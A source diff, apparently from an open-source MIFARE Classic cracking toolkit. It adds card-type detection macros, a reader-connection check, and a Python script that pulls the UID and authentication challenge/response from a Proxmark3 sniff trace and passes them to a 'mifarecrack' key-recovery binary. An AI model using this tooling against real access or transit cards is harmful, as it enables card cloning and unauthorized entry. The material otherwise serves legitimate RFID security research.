+ // If tests were requested, exit after tests completed if ( bfOpts['t'] || bfOpts['T'] ) { return 0; @@ -1313,6 +1442,12 @@ int main(int argc, char* argv[]) tag_recover_verify.uid = swap_endian32(tag_recover_verify.tag_basic.amb[0].mbm.abtUID); } } + + if (!bfOpts['C']) + { + printf("NO Connection to reader requested (need option -C). Exiting...\n"); + return 0; + } // READER INITIALIZATION BLOCK // Try to open the NFC reader diff --git a/src/mfcuk_mifare.h b/src/mfcuk_mifare.h index c4fab24..16d6834 100644 --- a/src/mfcuk_mifare.h +++ b/src/mfcuk_mifare.h @@ -67,12 +67,17 @@ #define MIFARE_CLASSIC_1K 0x08 // MF1ICS50 Functional Specifications - 0x08 #define MIFARE_CLASSIC_4K 0x18 // MF1ICS70 Functional Specifications - 0x18 #define MIFARE_DESFIRE 0x20 // XXXXXXXX Functional Specifications - 0x20 -#define MIFARE_CLASSIC_1K_RATB 0x88 // Infineon Licensed Mifare - 0x88 (thanks JPS) +#define MIFARE_CLASSIC_1K_RATB 0x88 // Infineon Licensed Mifare 1K = 0x88 (thanks JPS) +#define MIFARE_CLASSIC_4K_SKGT 0x98 // Infineon Licensed Mifare 4K = 0x98??? #define IS_MIFARE_CLASSIC_1K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_1K) || ((ats_sak) == MIFARE_CLASSIC_1K_RATB) ) -#define IS_MIFARE_CLASSIC_4K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_4K) ) +#define IS_MIFARE_CLASSIC_4K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_4K) || ((ats_sak) == MIFARE_CLASSIC_4K_SKGT) ) #define IS_MIFARE_DESFIRE(ats_sak) ( ((ats_sak) == MIFARE_DESFIRE) ) +#define IS_MIFARE_CLASSIC_1K_TAG(tag) IS_MIFARE_CLASSIC_1K(tag->amb[0].mbm.btUnknown) +#define IS_MIFARE_CLASSIC_4K_TAG(tag) IS_MIFARE_CLASSIC_4K(tag->amb[0].mbm.btUnknown) +#define IS_MIFARE_DESFIRE_TAG(tag) IS_MIFARE_DESFIRE(tag->amb[0].mbm.btUnknown) + #define MIFARE_CLASSIC_BYTES_PER_BLOCK 16 // Common for Mifare Classic 1K and Mifare Classic 4K #define MIFARE_CLASSIC_INVALID_BLOCK 0xFFFFFFFF diff --git a/tools/proxmark3_parser.py b/tools/proxmark3_parser.py new file mode 100644 index 0000000..4ca95e6 --- /dev/null +++ b/tools/proxmark3_parser.py @@ -0,0 +1,43 @@ +#!/usr/bin/python + +# Original source: proxmark3.org community forum + +import sys +import os +import string + +try: + file= open(sys.argv[1]) +except: + print + print '\tusage: mifarecrack.py ' + print + sys.exit(True) + +lines= file.readlines() +uid= '' + +gotone= False +for i in range(len(lines)): + if not uid and string.find(lines[i],': 93 20') > 0: + uid= lines[i + 1][20:34] + print + print 'Found TAG UID:', uid + if string.find(lines[i],': 60') > 0 or string.find(lines[i],': 61') > 0: + gotone= True + tag_challenge= lines[i+1] + reader_challenge_response= lines[i+2] + tag_response= lines[i+3] + break +if not gotone: + print 'No crypto exchange found!' + sys.exit(True) + +crackstring= './mifarecrack '+ uid + +# now process challenge/response +crackstring += ' ' + tag_challenge[20:34] +crackstring += ' ' + reader_challenge_response[20:50] +crackstring += ' ' + tag_response[20:34] +print 'Executing ', crackstring +os.execv('./mifarecrack',string.split(crackstring))